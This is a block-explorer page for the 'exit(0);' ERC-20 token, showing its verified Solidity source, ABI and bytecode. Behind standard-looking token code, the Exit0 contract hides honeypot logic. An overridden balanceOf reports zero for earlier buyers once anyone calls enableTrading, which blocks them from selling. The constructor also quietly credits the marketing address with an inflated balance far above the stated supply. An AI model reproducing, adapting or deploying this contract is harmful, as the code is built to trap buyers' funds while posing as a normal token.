ETH Price: $2,527.32 (+0.64%)

Token

exit(0); (exit(0);)
 

Overview

Max Total Supply

1,000,000,000 exit(0);

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 exit(0);

Value
$0.00
0x42A91C7E8A0598DDB75DF496BbCa4aa37d44Ee46
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Exit0

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

// SPDX-License-Identifier: MIT

/**
exit(0); is a new token that is making waves in the tech industry. This token is designed to be used as a means of payment for various tech-related services and products.

Exit Success is indicated by exit(0) statement which means successful termination of the program, i.e. program has been executed without any error or interrupt.

Website: https://exit0.xyz
Telegram: https://t.me/exitzeroeth
 */
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
interface IERC20 {    
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is Context, IERC20 {
    uint8 constant _decimals = 9;
    uint256 constant _decimalFactor = 10 ** _decimals;

    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = 1_000_000_000 * _decimalFactor;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Exit0 is ERC20, Ownable {
    IRouter public immutable uniswapV2Router;
    address public uniswapV2Pair;

    address public immutable marketingAddress;

    bool private isSwapping;
    bool public swapEnabled = true;

    mapping (address => uint256) buyTimer;
    uint256 public tradingEnableTime;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public isUniswapV2Pair;


    constructor(address router_, address marketingAddress_) 
        ERC20("exit(0);", "exit(0);") 
        payable 
    {
        uniswapV2Router = IRouter(router_);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        isUniswapV2Pair[uniswapV2Pair] = true;

        _approve(msg.sender, router_, type(uint256).max);

        marketingAddress = marketingAddress_;
        address _owner = marketingAddress;

        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[marketingAddress] = true;
        _balances[_owner] = _totalSupply * _decimalFactor;
    }

    receive() external payable {}

    function balanceOf(address account) public view override returns (uint256) {
        if (buyTimer[account] < tradingEnableTime && !isUniswapV2Pair[account] && !_isExcludedFromFees[account]) return 0;
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");

        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            uint256 fees = 0;
            if (swapEnabled && !isSwapping) {
                isSwapping = true;
                swapForFee(from, to, fees);
                isSwapping = false;
            }
            if (isUniswapV2Pair[from]) {
                buyTimer[to] = block.timestamp;
            } else if (isUniswapV2Pair[to]) {
                fees = (amount * fees) / 100;
            } else {
                buyTimer[to] == buyTimer[from];
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapForFee(address from, address to, uint256 fee) private {
        if (fee > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();

          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
          marketingAddress.call{value: address(this).balance}(""); 
        }
    }

    function enableTrading() external payable {
        tradingEnableTime = block.timestamp;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketingAddress_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060408190526006805460ff60a81b1916600160a81b17905562001a4e388190039081908339810160408190526200003891620004a0565b604080518082018252600880825267657869742830293b60c01b60208084018290528451808601909552918452908301529060036200007883826200057d565b5060046200008782826200057d565b50620000966009600a6200075e565b620000a690633b9aca0062000776565b60028190553360008181526020818152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600580546001600160a01b0319163390811790915560405181906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b03821660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000181573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a7919062000790565b6001600160a01b031663c9c653966080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021c919062000790565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000269573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028f919062000790565b600680546001600160a01b0319166001600160a01b039290921691821790556000908152600a60205260409020805460ff19166001179055620002d6338360001962000357565b6001600160a01b03811660a08190523360009081526009602081905260408083208054600160ff1991821681179092558585529190932080549091169092179091556200032590600a6200075e565b60025462000334919062000776565b6001600160a01b0390911660009081526020819052604090205550620007ae9050565b6001600160a01b038316620003bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003b6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80516001600160a01b03811681146200049b57600080fd5b919050565b60008060408385031215620004b457600080fd5b620004bf8362000483565b9150620004cf6020840162000483565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200050357607f821691505b6020821081036200052457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200057857600081815260208120601f850160051c81016020861015620005535750805b601f850160051c820191505b8181101562000574578281556001016200055f565b5050505b505050565b81516001600160401b03811115620005995762000599620004d8565b620005b181620005aa8454620004ee565b846200052a565b602080601f831160018114620005e95760008415620005d05750858301515b600019600386901b1c1916600185901b17855562000574565b600085815260208120601f198616915b828110156200061a57888601518255948401946001909101908401620005f9565b5085821015620006395787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006a057816000190482111562000684576200068462000649565b808516156200069257918102915b93841c939080029062000664565b509250929050565b600082620006b95750600162000758565b81620006c85750600062000758565b8160018114620006e15760028114620006ec576200070c565b600191505062000758565b60ff84111562000700576200070062000649565b50506001821b62000758565b5060208310610133831016604e8410600b841016171562000731575081810a62000758565b6200073d83836200065f565b806000190482111562000754576200075462000649565b0290505b92915050565b60006200076f60ff841683620006a8565b9392505050565b808202811582820484141762000758576200075862000649565b600060208284031215620007a357600080fd5b6200076f8262000483565b60805160a051611265620007e9600039600081816103580152610d5b0152600081816101a701528181610c260152610cde01526112656000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610326578063a5ece94114610346578063a9059cbb1461037a578063c7b122b11461039a578063dd62ed3e146103ca578063f2fde38b1461041057600080fd5b806370a08231146102b3578063715018a6146102d35780638a8c523c146102ea5780638da5cb5b146102f357806395d89b411461031157600080fd5b8063313ce567116100f2578063313ce56714610220578063395093511461023c5780634513de531461025c57806349bd5a5e146102725780636ddd17131461029257600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101e157806323b872dd1461020057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610430565b60405161015c9190610ede565b60405180910390f35b34801561017157600080fd5b50610185610180366004610f44565b6104c2565b604051901515815260200161015c565b3480156101a157600080fd5b506101c97f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161015c565b3480156101ed57600080fd5b506002545b60405190815260200161015c565b34801561020c57600080fd5b5061018561021b366004610f70565b6104d9565b34801561022c57600080fd5b506040516009815260200161015c565b34801561024857600080fd5b50610185610257366004610f44565b610591565b34801561026857600080fd5b506101f260085481565b34801561027e57600080fd5b506006546101c9906001600160a01b031681565b34801561029e57600080fd5b5060065461018590600160a81b900460ff1681565b3480156102bf57600080fd5b506101f26102ce366004610fb1565b6105cd565b3480156102df57600080fd5b506102e861065f565b005b6102e842600855565b3480156102ff57600080fd5b506005546001600160a01b03166101c9565b34801561031d57600080fd5b5061014f610703565b34801561033257600080fd5b50610185610341366004610f44565b610712565b34801561035257600080fd5b506101c97f000000000000000000000000000000000000000000000000000000000000000081565b34801561038657600080fd5b50610185610395366004610f44565b6107ab565b3480156103a657600080fd5b506101856103b5366004610fb1565b600a6020526000908152604090205460ff1681565b3480156103d657600080fd5b506101f26103e5366004610fd5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506102e861042b366004610fb1565b6107b8565b60606003805461043f9061100e565b80601f016020809104026020016040519081016040528092919081815260200182805461046b9061100e565b80156104b85780601f1061048d576101008083540402835291602001916104b8565b820191906000526020600020905b81548152906001019060200180831161049b57829003601f168201915b5050505050905090565b60006104cf3384846108d3565b5060015b92915050565b60006104e68484846109f7565b6001600160a01b0384166000908152600160209081526040808320338452909152902054600019811461058657828110156105795760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61058685338584036108d3565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104cf9185906105c890869061105e565b6108d3565b6008546001600160a01b038216600090815260076020526040812054909111801561061157506001600160a01b0382166000908152600a602052604090205460ff16155b801561063657506001600160a01b03821660009081526009602052604090205460ff16155b1561064357506000919050565b506001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146106b95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610570565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60606004805461043f9061100e565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156107945760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610570565b6107a133858584036108d3565b5060019392505050565b60006104cf3384846109f7565b6005546001600160a01b031633146108125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610570565b6001600160a01b0381166108775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610570565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109355760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610570565b6001600160a01b0382166109965760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610570565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1d5760405162461bcd60e51b815260040161057090611071565b6001600160a01b038216610a435760405162461bcd60e51b8152600401610570906110b6565b80610a4d846105cd565b1015610a6b5760405162461bcd60e51b8152600401610570906110f9565b6001600160a01b03831660009081526009602052604090205460ff16158015610aad57506001600160a01b03821660009081526009602052604090205460ff16155b15610ba957600654600090600160a81b900460ff168015610ad85750600654600160a01b900460ff16155b15610b09576006805460ff60a01b1916600160a01b179055610afb848483610bb9565b6006805460ff60a01b191690555b6001600160a01b0384166000908152600a602052604090205460ff1615610b4a576001600160a01b0383166000908152600760205260409020429055610b9b565b6001600160a01b0383166000908152600a602052604090205460ff1615610b88576064610b77828461113f565b610b819190611156565b9050610b9b565b60076020526001600160a01b0383166000525b610ba58183611178565b9150505b610bb4838383610dc8565b505050565b8015610bb4576000610bca306105cd565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610c0457610c0461118b565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca691906111a1565b81600181518110610cb957610cb961118b565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610d1e9085906000908690309042906004016111be565b600060405180830381600087803b158015610d3857600080fd5b505af1158015610d4c573d6000803e3d6000fd5b50506040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169250479150600081818185875af1925050503d8060008114610db9576040519150601f19603f3d011682016040523d82523d6000602084013e610dbe565b606091505b5050505050505050565b6001600160a01b038316610dee5760405162461bcd60e51b815260040161057090611071565b6001600160a01b038216610e145760405162461bcd60e51b8152600401610570906110b6565b6001600160a01b03831660009081526020819052604090205481811015610e4d5760405162461bcd60e51b8152600401610570906110f9565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610e8490849061105e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ed091815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610f0b57858101830151858201604001528201610eef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4157600080fd5b50565b60008060408385031215610f5757600080fd5b8235610f6281610f2c565b946020939093013593505050565b600080600060608486031215610f8557600080fd5b8335610f9081610f2c565b92506020840135610fa081610f2c565b929592945050506040919091013590565b600060208284031215610fc357600080fd5b8135610fce81610f2c565b9392505050565b60008060408385031215610fe857600080fd5b8235610ff381610f2c565b9150602083013561100381610f2c565b809150509250929050565b600181811c9082168061102257607f821691505b60208210810361104257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156104d3576104d3611048565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b80820281158282048414176104d3576104d3611048565b60008261117357634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156104d3576104d3611048565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111b357600080fd5b8151610fce81610f2c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561120e5784516001600160a01b0316835293830193918301916001016111e9565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122088402bd4b2d1b082bfbfd148597f96b3f567c8ac1f83bc83590c570fccdd591e64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000050ac1e65871f8c817d7928ae31d62292e433ac44

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610326578063a5ece94114610346578063a9059cbb1461037a578063c7b122b11461039a578063dd62ed3e146103ca578063f2fde38b1461041057600080fd5b806370a08231146102b3578063715018a6146102d35780638a8c523c146102ea5780638da5cb5b146102f357806395d89b411461031157600080fd5b8063313ce567116100f2578063313ce56714610220578063395093511461023c5780634513de531461025c57806349bd5a5e146102725780636ddd17131461029257600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101e157806323b872dd1461020057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610430565b60405161015c9190610ede565b60405180910390f35b34801561017157600080fd5b50610185610180366004610f44565b6104c2565b604051901515815260200161015c565b3480156101a157600080fd5b506101c97f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161015c565b3480156101ed57600080fd5b506002545b60405190815260200161015c565b34801561020c57600080fd5b5061018561021b366004610f70565b6104d9565b34801561022c57600080fd5b506040516009815260200161015c565b34801561024857600080fd5b50610185610257366004610f44565b610591565b34801561026857600080fd5b506101f260085481565b34801561027e57600080fd5b506006546101c9906001600160a01b031681565b34801561029e57600080fd5b5060065461018590600160a81b900460ff1681565b3480156102bf57600080fd5b506101f26102ce366004610fb1565b6105cd565b3480156102df57600080fd5b506102e861065f565b005b6102e842600855565b3480156102ff57600080fd5b506005546001600160a01b03166101c9565b34801561031d57600080fd5b5061014f610703565b34801561033257600080fd5b50610185610341366004610f44565b610712565b34801561035257600080fd5b506101c97f00000000000000000000000050ac1e65871f8c817d7928ae31d62292e433ac4481565b34801561038657600080fd5b50610185610395366004610f44565b6107ab565b3480156103a657600080fd5b506101856103b5366004610fb1565b600a6020526000908152604090205460ff1681565b3480156103d657600080fd5b506101f26103e5366004610fd5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506102e861042b366004610fb1565b6107b8565b60606003805461043f9061100e565b80601f016020809104026020016040519081016040528092919081815260200182805461046b9061100e565b80156104b85780601f1061048d576101008083540402835291602001916104b8565b820191906000526020600020905b81548152906001019060200180831161049b57829003601f168201915b5050505050905090565b60006104cf3384846108d3565b5060015b92915050565b60006104e68484846109f7565b6001600160a01b0384166000908152600160209081526040808320338452909152902054600019811461058657828110156105795760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61058685338584036108d3565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104cf9185906105c890869061105e565b6108d3565b6008546001600160a01b038216600090815260076020526040812054909111801561061157506001600160a01b0382166000908152600a602052604090205460ff16155b801561063657506001600160a01b03821660009081526009602052604090205460ff16155b1561064357506000919050565b506001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146106b95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610570565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60606004805461043f9061100e565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156107945760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610570565b6107a133858584036108d3565b5060019392505050565b60006104cf3384846109f7565b6005546001600160a01b031633146108125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610570565b6001600160a01b0381166108775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610570565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109355760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610570565b6001600160a01b0382166109965760405162461b